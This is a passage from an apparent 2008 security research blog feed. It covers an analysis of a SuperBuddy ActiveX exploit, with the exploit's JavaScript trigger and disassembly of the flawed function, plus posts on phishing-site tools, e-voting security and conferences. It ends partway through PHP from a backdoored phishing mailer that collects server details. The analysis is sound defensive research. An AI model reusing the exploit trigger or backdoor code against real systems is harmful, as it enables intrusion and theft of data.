&lt;a href="http://downloads.securityfocus.com/vulnerabilities/exploits/23224.msf"&gt;Metasploit&lt;/a&gt;
exploit):&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;a9_bwCED&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;OBGUiGAa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;ActiveXObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Sb.SuperBuddy&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;OBGUiGAa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;Exhne69P&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="nx"&gt;dU578_go&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;OBGUiGAa&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;LinkSBIcons&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x0c0c0c0c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;   
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;   
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The function &lt;code&gt;Exhne69P&lt;/code&gt; sets up the shellcode and the function
&lt;code&gt;dU578_go&lt;/code&gt; sets a cookie, probably to keep statistics on the success
rate of the attack. The actual exploitation occurs by invoking the
&lt;code&gt;LinkSBIcons&lt;/code&gt; method with the 0x0c0c0c0c parameter.&lt;/p&gt;

&lt;p&gt;The vulnerable code is contained in the &lt;code&gt;sb.dll&lt;/code&gt; library:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;6398692d &amp;lt;LinkSBIcons&amp;gt;::&lt;/span&gt;
&lt;span class="x"&gt; 6398692d:   push   %ebp&lt;/span&gt;
&lt;span class="x"&gt; 6398692e:   mov    %esp,%ebp&lt;/span&gt;
&lt;span class="x"&gt; 63986930:   mov    0xc(%ebp),%eax     ; eax := arg&lt;/span&gt;
&lt;span class="x"&gt; 63986933:   test   %eax,%eax       &lt;/span&gt;
&lt;span class="x"&gt; 63986935:   je     0x63986969         ; bail out if NULL&lt;/span&gt;
&lt;span class="x"&gt; 63986937:   mov    (%eax),%ecx        ; ecx := *arg&lt;/span&gt;
&lt;span class="x"&gt; 63986939:   push   %esi&lt;/span&gt;
&lt;span class="x"&gt; 6398693a:   push   %edi&lt;/span&gt;
&lt;span class="x"&gt; 6398693b:   mov    0x8(%ebp),%edi&lt;/span&gt;
&lt;span class="x"&gt; 6398693e:   lea    0x30(%edi),%esi&lt;/span&gt;
&lt;span class="x"&gt; 63986941:   push   %esi&lt;/span&gt;
&lt;span class="x"&gt; 63986942:   push   $0x6399037c&lt;/span&gt;
&lt;span class="x"&gt; 63986947:   push   %eax&lt;/span&gt;
&lt;span class="x"&gt; 63986948:   call   *(%ecx)            ; call *ecx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The function gets the user-provided parameter, checks that it is not
NULL, and happily uses it to make a function call. At this point, an
attacker simply has to choose an appropriate value for the argument to
execute arbitrary code or, less ambitiously,  crash the program trying
to access 0x41414141, as in the screenshot below:&lt;/p&gt;

&lt;p&gt;&lt;a href="images/blog/superbuddy.png"&gt;
&lt;img src="images/blog/superbuddy.png"
     class="figure-centered"
     alt="SuperBuddy crashes trying to execute code at 0x41414141"
     title="SuperBuddy crashes trying to execute code at 0x41414141 (click for larger picture)"
     width="500" height="333"/&gt;
&lt;/a&gt;&lt;/p&gt;
</description><category>malware</category><category>javascript</category><category>binary</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/08/web-client-exploit-zoo-superbuddy.html</guid><pubDate>Thu, 28 Aug 2008 13:06:00 GMT</pubDate></item><item><title>CRYPTO2008</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/08/crypto2008.html</link><description>&lt;p&gt;Today, &lt;a href="http://www.iacr.org/conferences/crypto2008/" title="CRYPTO
2008 [iacr.org]"&gt;CRYPTO2008&lt;/a&gt; has finished. I've only attended a few talks, but they
all were very interesting. In particular, I've seen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;On the Power of Power Analysis in the Real World: A Complete Break
of the KeeLoq Code Hopping Scheme&lt;/strong&gt;. A group from Ruhr University Bochum
used differential power analysis (a form of side channel) to break the
KeeLoq algorithm, which is used, for example, in garage and car door opening
devices. They also had a demo, which, unfortunately, didn't work,
possibly for the interference of the microphone. In any case, the
receiver was beeping like hell all the time :-)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;R. Rivest, &lt;strong&gt;The MD6 hash function&lt;/strong&gt;. Ron Rivest gave an overview of
his and his team proposal for the upcoming NIST hash function
competition. To me, more than the technical aspects (tree hash, large
input to the compression function, provably resistant to common
differential techniques), it was interesting to see some of the
reasoning behind the process of designing a hash function.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A. Shamir, &lt;strong&gt;How to Solve it: New Techniques in Algebraic
Cryptanalysis&lt;/strong&gt;.  Adi Shamir presented a new attack that applies when
bits of the output of a stream cipher can be expressed as a polynomial
of the key and input with sufficiently low degree (~16). I didn't follow
all the details, but it sounded very cool (and the crowd seemed to
agree). This will be remembered either as "the cube attack" or as "the
paper that was rejected at AsiaCrypto".&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Rump Session was, as usual, a lot of fun, with many laugh-out-loud
presentations. DJ&amp;nbsp;Bernstein kept everybody surprisingly on time, with the
help, when necessary, of a big, intimidating, and noisy air gun! I left after
the KeeLoq group went on stage singing and dancing on exotic tunes to present
their COPACOBANA project... &lt;br /&gt;
Check out the slides for the session 
&lt;a href="http://rump2008.cr.yp.to/" title="Crypto 2008 rump session slides [cr.yp.to]"&gt;here&lt;/a&gt;.&lt;/p&gt;
</description><category>crypto</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/08/crypto2008.html</guid><pubDate>Thu, 21 Aug 2008 21:00:00 GMT</pubDate></item><item><title>Unfettered access?</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/08/unfettered-access.html</link><description>&lt;blockquote cite="http://findarticles.com/p/articles/mi_m0EIN/is_2007_July_30/ai_n19394800"&gt;
&lt;p&gt;This was not a security risk evaluation but an unrealistic worst case
scenario evaluation [...] performed in a laboratory environment by computer
security experts with &lt;strong&gt;unfettered access&lt;/strong&gt; to the machines and
software over several weeks. This is not a real-world scenario [...]&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://findarticles.com/p/articles/mi_m0EIN/is_2007_July_30/ai_n19394800"&gt;Sequoia, July 30, 2007&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote cite="http://www.freedom-to-tinker.com/?p=1304"&gt;
&lt;p&gt;Security reviews of the Hart system as tested in California, Colorado, and
Ohio were conducted by people who were given &lt;strong&gt;unfettered access&lt;/strong&gt;
to code, equipment, tools and time [...]&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a
href="http://www.freedom-to-tinker.com/?p=1304"&gt;Hart InterCivic, June
2008&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The "unfettered access" claim has been a standard response from
electronic machine vendors to the reports of serious security flaws in
their equipment, as identified by recent evaluations, such as the
California's &lt;a href="http://www.cs.ucsb.edu/~marco/projects/evoting-ttbr.html"&gt;Top-To-Bottom
Review&lt;/a&gt;  and
the Ohio's
&lt;a href="http://www.cs.ucsb.edu/~marco/projects/evoting-everest.html"&gt;EVEREST&lt;/a&gt;
project.&lt;/p&gt;

&lt;p&gt;This claim, essentially, postulates two theories:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Vulnerabilities can be discovered only if analysts have extended
access to the voting equipment under study.&lt;/li&gt;
&lt;li&gt;Attackers don't have extended access to voting equipment.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Theory number 1) is very suspicious from a security point of view, in
that it builds on two discredited ideas: that "attackers/analysts have
limited capabilities" (weak threat model), and that "as long as the
system is unknown, it is secure" (security by obscurity). I will not
elaborate further on this, since, I think, what follows is more
interesting.&lt;/p&gt;

&lt;p&gt;Theory number 2) (electronic voting equipment is not
available to the general public) has been proven wrong a
number of times in the past. There are various ways in which voting
equipment can become accessible to non authorized people:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It may be put up for auction, for example, when counties have surplus.&lt;/li&gt;
&lt;li&gt;It may be lost or displaced.&lt;/li&gt;
&lt;li&gt;It may be stolen.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is a list of cases when, for similar or other reasons, voting
systems have finished (or might have finished) in the hands of the
general public:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;B. Harris, &lt;a href="http://www.blackboxvoting.org/bbv_chapter-9.pdf"&gt;The First Public Look &amp;mdash; Ever &amp;mdash; into a secret
voting system&lt;/a&gt;, 2003.
Bev Harris discovers a publicly accessible FTP server that hosts the
source code repository, binaries, and various documentation for Diebold
machines.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.usatoday.com/tech/news/techpolicy/evoting/2004-09-29-abandoned-diebold-machine_x.htm"&gt;Mysterious touchscreen voting machine
found&lt;/a&gt;,
&lt;em&gt;USA Today&lt;/em&gt;, September 9, 2004.
Diebold DREs are found abandoned on a street and in a bar in Baltimore.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cjonline.com/stories/030105/bre_stolen.shtml"&gt;Voting machine stolen from polling
site&lt;/a&gt;, &lt;em&gt;Topeka
Capital-Journal&lt;/em&gt;, March 1, 2005.
A vote tabulator is stolen from a polling site (a school) in Topeka, KS.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.dallasnews.com/sharedcontent/dws/news/localnews/stories/030706dnmetvotingmachine.8f10b1af.html"&gt;Voting machine stolen from elections
judge&lt;/a&gt;,
Dallas Morning News, March 6, 2006. 
An iVotronic machine is stolen from the home of a Dallas County
elections judge.&lt;/li&gt;
&lt;li&gt;A. Dechert, &lt;a href="http://www.openvotingconsortium.org/blog/2007-nov-19/smash_diebold"&gt;Smash
Diebold&lt;/a&gt;,
June 2006. 
OVC buys a Diebold TS Touch Screen voting machine from eBay.&lt;/li&gt;
&lt;li&gt;C. Barr, &lt;a href="http://www.washingtonpost.com/wp-dyn/content/article/2006/10/19/AR2006101901818.html"&gt;Officials Probing Possible Theft of Voting Software in
Md.&lt;/a&gt;,
&lt;em&gt;Washington Post&lt;/em&gt;, October 20, 2006. 
Three disks containing the source code of Diebold programs is
anonymously delivered to a former Maryland legislator.&lt;/li&gt;
&lt;li&gt;A. Feldman, J. Halderman, E. Felten, &lt;a href="http://itpolicy.princeton.edu/voting/ts-paper.pdf"&gt;Security Analysis of the Diebold
AccuVote-TS Voting
Machine&lt;/a&gt;, September
13, 2006.  The Princeton team obtains the complete voting machine
(software and hardware) from an undisclosed "private party".&lt;/li&gt;
&lt;li&gt;A. Appel,  &lt;a href="http://www.cs.princeton.edu/~appel/avc/"&gt;How I bought used voting machines on the
Internet&lt;/a&gt;, February 2007.
Andrew Appel buys 5 Sequoia AVC Advantage machines on the auction site
govdeals.com. Total price: $82.&lt;/li&gt;
&lt;li&gt;K. Zetter, &lt;a href="http://blog.wired.com/27bstroke6/2008/01/election-softwa.html"&gt;Election Software Lost in Transit Found &amp;mdash; But More Chips
Go Missing&lt;/a&gt;, &lt;em&gt;Wired&lt;/em&gt;,
January 31, 2008.  Chips loaded with software that run Diebold optical
scanners are lost in California.&lt;/li&gt;
&lt;li&gt;D. Gang, &lt;a href="http://www.pe.com/localnews/rivcounty/stories/PE_News_Local_D_votes26.410fed8.html"&gt;Cast ballots stolen from Thermal site still missing,
registrar's office
says&lt;/a&gt;,
&lt;em&gt;Press-Enterprise&lt;/em&gt;, February 25, 2008.
119 cast ballots and a used voting cartridge for the Sequoia Edge DRE are
stolen from a voting precinct in Riverside County. 
&lt;!-- http://electionupdates.caltech.edu/?p=1317 --&gt;&lt;/li&gt;
&lt;li&gt;E. Felten, &lt;a href="http://www.freedom-to-tinker.com/?p=1297"&gt;NJ Election Day: Voting Machine
Status&lt;/a&gt;, June 3, 2008.  Ed
Felten describes (and photographs) Voting machines left unguarded around
Princeton.&lt;/li&gt;
&lt;li&gt;B. Livingston, &lt;a href="http://www.meridianstar.com/local/local_story_081005727.html"&gt;Voting machine stolen from church&lt;/a&gt;,
&lt;em&gt;Meridian Star&lt;/em&gt;, March 21, 2008.
A voting machine is stolen in Lauderdale County, AL.&lt;/li&gt;
&lt;li&gt;eBay, &lt;a href="http://cgi.ebay.com/ES-S-OPTECH-EAGLE-IIIP-VOTING-MACHINE-III-3P-COMPLETE_W0QQitemZ230277629190QQihZ013QQcategoryZ36347QQcmdZViewItem"&gt;ES&amp;amp;S OPTECH EAGLE IIIP VOTING MACHINE III/3P -
COMPLETE&lt;/a&gt;,
Item number 230277629190, August 2008.
ES&amp;amp;S voting machine on sale on eBay.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I'll try to maintain this list accurate and up-to-date, so if you know
more cases, please, let me know!  Thanks to &lt;a href="http://josephhall.org/nqb2/"&gt;Joseph Lorenzo
Hall&lt;/a&gt; for his comments and for
contributing many entries to this list. Errors are mine.&lt;/p&gt;
</description><category>evoting</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/08/unfettered-access.html</guid><pubDate>Wed, 20 Aug 2008 23:27:00 GMT</pubDate></item><item><title>Lost and found on phishing sites: exploits</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/08/lost-and-found-on-phishing-sites-exploits.html</link><description>&lt;p&gt;After breaking into a web server, attackers often want to get higher
privileges on the local machine (through &lt;em&gt;local-to-root&lt;/em&gt; attacks) and to
compromise other remote machines (&lt;em&gt;remote-to-local&lt;/em&gt; attacks). To do
that, they "need exploits, lots of exploits".&lt;/p&gt;

&lt;p&gt;And so, it is time to talk about the exploitation tools found on
phishing sites.&lt;/p&gt;

&lt;p&gt;&lt;a href="images/blog/exploits-screenshot.png"&gt;
&lt;img src="images/blog/exploits-screenshot.png"
     class="figure-centered"
     alt="Screenshot of a number of exploits found on a phishing site"
     title="Screenshot of a number of exploits found on a phishing site"
     width="500" height="333"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Sifting through the various tools, scripts, and programs abandoned on
these sites offers more than one interesting finding. One can find
recent exploits, such as the one attacking the vmsplice bug in 2.6.x
Linux kernels; older ones targeting sendmail on Linux 2.2.x; historic
ones, such as the smurf attack released in 1999; and exotic exploits,
such as a local root against AIX.  &lt;/p&gt;

&lt;p&gt;Among the remote exploitation tools, vulnerability scanners are very
popular. They mostly look for file injection vulnerabilities, generally
using google dorks (i.e., they are &lt;a href="http://www.citi.umich.edu/u/provos/papers/search_worms.pdf
" title="N. Provos, J. McClain, and K. Wang, Search Worms, 2006 [umich.edu]"&gt;search
worms&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;And, unsurprisingly, considering the current botnet fad, bots are
also very popular. The ones I've found are traditional bots that
connect to IRC channels and wait commands.
Good, old, DDoS attacks seem also common, either through TCP, UDP, or
HTTP.&lt;/p&gt;

&lt;p&gt;Related posts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/07/lost-and-found-on-phishing-sites-mailers.html" title="Lost and found on phishing sites: mailers"&gt;Lost and found on phishing sites: mailers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/07/lost-and-found-on-phishing-sites-php-shells.html" title="Lost and found on phishing sites: PHP shells"&gt;Lost and found on phishing sites: PHP shells&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description><category>malware</category><category>phishing</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/08/lost-and-found-on-phishing-sites-exploits.html</guid><pubDate>Wed, 13 Aug 2008 10:09:00 GMT</pubDate></item><item><title>Defcon CTF!</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/08/defcon-ctf.html</link><description>&lt;p&gt;Tomorrow, we are off to Vegas for &lt;a href="https://www.defcon.org/
" title="DEFCON 16 [defcon.org]"&gt;DEFCON 16&lt;/a&gt;. &lt;a href="http://www.shellphish.net/" title="ShellPhish
[shellphish.net]"&gt;We&lt;/a&gt; are going to compete in the Capture The Flag contest.
It's going to be fun: there are a lot of good teams and the usual
Kenshoto's organization.&lt;/p&gt;

&lt;p&gt;Feel free to stop by and say hi: we'll be the sleepless guys in the big,
noisy room ;-)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: so, we've got 6th place, which is definitely not what we were
hoping for... In any case, the game, as usual, was a lot of fun and of
learning.  Congratulations to sk3wl of root, who dominated the contest. We'll
do better next year! &lt;/p&gt;
</description><category>wargames</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/08/defcon-ctf.html</guid><pubDate>Thu, 07 Aug 2008 00:16:00 GMT</pubDate></item><item><title>There's no free phish</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/07/theres-no-free-phish.html</link><description>&lt;p&gt;Tomorrow, I'm going to present our paper &lt;a href="http://www.cs.ucsb.edu/~marco/data/papers/woot08_freephish.pdf
" title="There is No Free Phish [PDF]"&gt;There is No Free Phish: An
Analysis of "Free" and Live Phishing
Kits&lt;/a&gt; at the USENIX
&lt;a href="http://www.usenix.org/event/woot08/" title="2nd USENIX Workshop on
Offensive Technologies"&gt;WOOT&lt;/a&gt; Workshop. The paper talks about phishing kits,
which are phishing sites in a ready-to-deploy package. We collected a
large number of these kits, both from sites distributing them and live
phishing web servers. We found that phishing kits really are a
double-edged sword: on one hand, phishers use them to get confidential
information from unsuspecting victims; on the other hand, more
experienced attackers plant 
&lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/04/a-tale-of-scam-kits.html
" title="A tale of scam kits"&gt;backdoors&lt;/a&gt; in these kits through which they covertly receive
the information phished by the kits' users.&lt;/p&gt;

&lt;p&gt;Here is the abstract:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Phishing is a form of identity theft in which an attacker attempts to 
  elicit confidential information from unsuspecting victims. While in the 
  past there has been significant work on defending from phishing, much 
  less is known about the tools and techniques used by attackers, i.e., 
  phishers. Of particular importance to understanding the phishers' methods 
  and motivations are phishing kits, packages that contain complete phishing
  web sites in an easy-to-deploy format. 
  In this paper, we study in detail the kits distributed for free in 
  underground circles and those obtained by crawling live phishing sites. 
  We notice that phishing kits often contain backdoors that send the entered 
  information to third parties. We conclude that phishing kits target two 
  classes of victims: the gullible users from whom they extort valuable 
  information and the unexperienced phishers who deploy them.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;After WOOT, I'm going to attend USENIX Security.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.usenix.org/sec08/going"&gt;  &lt;img
src="http://www.usenix.org/events/sec08/art/sec08_going.jpg" border="0"
width="162" height="57" alt="I'm going to USENIX Security '08"&gt;  &lt;/a&gt;&lt;/p&gt;

&lt;p&gt;See you in San Jose!&lt;/p&gt;
</description><category>paper</category><category>phishing</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/07/theres-no-free-phish.html</guid><pubDate>Sun, 27 Jul 2008 12:34:00 GMT</pubDate></item><item><title>Are your votes really counted?</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/07/are-your-votes-really-counted.html</link><description>&lt;p&gt;Tomorrow, the &lt;a href="http://issta08.rutgers.edu/" title="ISSTA's web site"&gt;International Symposium on Software Testing and
Analysis&lt;/a&gt; (ISSTA) starts
in Seattle. It is one of the main venues for research on testing
and software analysis.&lt;/p&gt;

&lt;p&gt;This year, we have a paper there. It is &lt;a title="Are Your Votes Really
Counted? Testing the Security of Real-world Electronic Voting Systems [PDF]"
href="http://www.cs.ucsb.edu/~marco/data/papers/issta08_evote.pdf"&gt;Are Your
Votes &lt;em&gt;Really&lt;/em&gt; Counted?  Testing the Security of Real-world Electronic Voting
Systems&lt;/a&gt; and it is joint work with quite a few people in the Computer
Security Lab (Davide Balzarotti, Greg Banks, myself, Viktoria Felmetsger,
Richard Kemmerer, William Robertson, Fredrik Valeur, and Giovanni Vigna).  The
paper is the result of our experience with the California &lt;a href="http://www.cs.ucsb.edu/~marco/projects/evoting-ttbr.html" title="California
Top-To-Bottom Review of electronic voting systems"&gt;Top-To-Bottom
Review&lt;/a&gt; of electronic voting
machines and the similar &lt;a href="http://www.cs.ucsb.edu/~marco/projects/evoting-everest.html
" title="Evaluation &amp;amp; Validation of Election-Related Equipment, Standards &amp;amp; Testing"&gt;EVEREST
project&lt;/a&gt;
in Ohio. We describe the methodology we used to perform red-team testing of two
real-world electronic voting systems (one produced by Sequoia, the other by
ES&amp;amp;S), the tools and techniques we developed, some of the vulnerabilities we
identified (spoiler: we designed and implemented malicious code capable of
spreading from machine to machine in both cases), and the lessons we learned in
the process. &lt;/p&gt;

&lt;p&gt;Here is the abstract:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Electronic voting systems play a critical role in today's democratic
  societies, as they are responsible for recording and counting the
  citizens' votes. Unfortunately, there is an alarming number of reports
  describing the malfunctioning of these systems, suggesting that their
  quality is not up to the task.  Recently, there has been a focus on the
  security testing of voting systems to determine if they can be
  compromised in order to control the results of an election. We have
  participated in two large-scale projects, sponsored by the Secretaries
  of State of California and Ohio, whose respective goals were to perform
  the security testing of the electronic voting systems used in those two
  states. The testing process identified major flaws in all the systems
  analyzed, and resulted in substantial changes in the voting procedures
  of both states. In this paper, we describe the testing methodology that
  we used in testing two real-world electronic voting systems, the
  findings of our analysis, and the lessons we learned.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you are attending the conference, see you in Seattle!&lt;/p&gt;
</description><category>paper</category><category>evoting</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/07/are-your-votes-really-counted.html</guid><pubDate>Mon, 21 Jul 2008 09:26:00 GMT</pubDate></item><item><title>Lost and found on phishing sites: mailers</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/07/lost-and-found-on-phishing-sites-mailers.html</link><description>&lt;p&gt;This is the second installment in the series about interesting things
found on web sites that are taken over to host phishing
pages. This time, we talk about &lt;em&gt;mailers&lt;/em&gt; (the &lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/07/lost-and-found-on-phishing-sites-php-shells.html
" title="Lost and found on phishing sites: PHP shells"&gt;first
post&lt;/a&gt;  was about PHP shells),
and &amp;mdash; little teaser &amp;mdash; we keep a surprise for the end of the post.&lt;/p&gt;

&lt;p&gt;So, the bad guys have just compromised a web server, uploaded a phishing
kit, and deployed a perfect copy of, say, Bank of America. What's the
next step?  The attackers just have to attract victims to the site and
hope that they will give away their credentials and
other confidential information. The best way of doing it is to spam the
world with emails claiming that the recipient's account has been
suspended (or some other more or less plausible story) and that the
situation can be solved by visiting the phishing site.&lt;/p&gt;

&lt;p&gt;How do the phishers send the emails? If they don't want to rent a
botnet, a cheap way is to use the compromised server's resources. And
here is where a mailer comes useful. A mailer is a program, typically
written in PHP, that has a web-based interface through which one can
insert the mail's message and a list of recipients. The program then
sends out the emails. Here is a screenshot of one of these mailers:&lt;/p&gt;

&lt;p&gt;&lt;a href="images/blog/mailer-screenshot.png"&gt;
&lt;img src="images/blog/mailer-screenshot.png"
     class="figure-centered"
     alt="Screenshot of a mailer found on a phishing site"
     title="Screenshot of a mailer found on a phishing site"
     width="500" height="333"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The mailers I've seen most frequently are &lt;strong&gt;Subzero&lt;/strong&gt;, &lt;strong&gt;Str8 Inbox&lt;/strong&gt;,
&lt;strong&gt;PHP Mailer&lt;/strong&gt;, &lt;strong&gt;ToXiC350 MailEr&lt;/strong&gt;, &lt;strong&gt;Mailing Machine&lt;/strong&gt;, &lt;strong&gt;Bulk
Maileren&lt;/strong&gt;, &lt;strong&gt;INBOX PHP-Mailer&lt;/strong&gt;, &lt;strong&gt;Mailer All Inbox&lt;/strong&gt;, &lt;strong&gt;Mass Fuckin
Mailer Inbox&lt;/strong&gt;, &lt;strong&gt;PHP-Mailer by Mr-Brain&lt;/strong&gt; (a &lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/04/a-tale-of-scam-kits.html
" title="A tale of scam kits"&gt;familiar
name&lt;/a&gt;, isn't?). Furthermore, many of the &lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/07/lost-and-found-on-phishing-sites-php-shells.html
" title="Lost and found on phishing sites: PHP shells"&gt;PHP
shells&lt;/a&gt; we have seen previously
also offer mailer functionality.&lt;/p&gt;

&lt;p&gt;Finally, here is one surprise I've found in one of the mailers whose
source code was also left on the phishing site:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nv"&gt;$a5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;HTTP_REFERER&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$b33&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DOCUMENT_ROOT&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$c87&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;REMOTE_ADDR&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$d23&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;SCRIPT_FILENAME&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$e09&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;SERVER_ADDR&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$f23&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;SERVER_SOFTWARE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$g32&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;PATH_TRANSLATED&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$h65&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;PHP_SELF&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
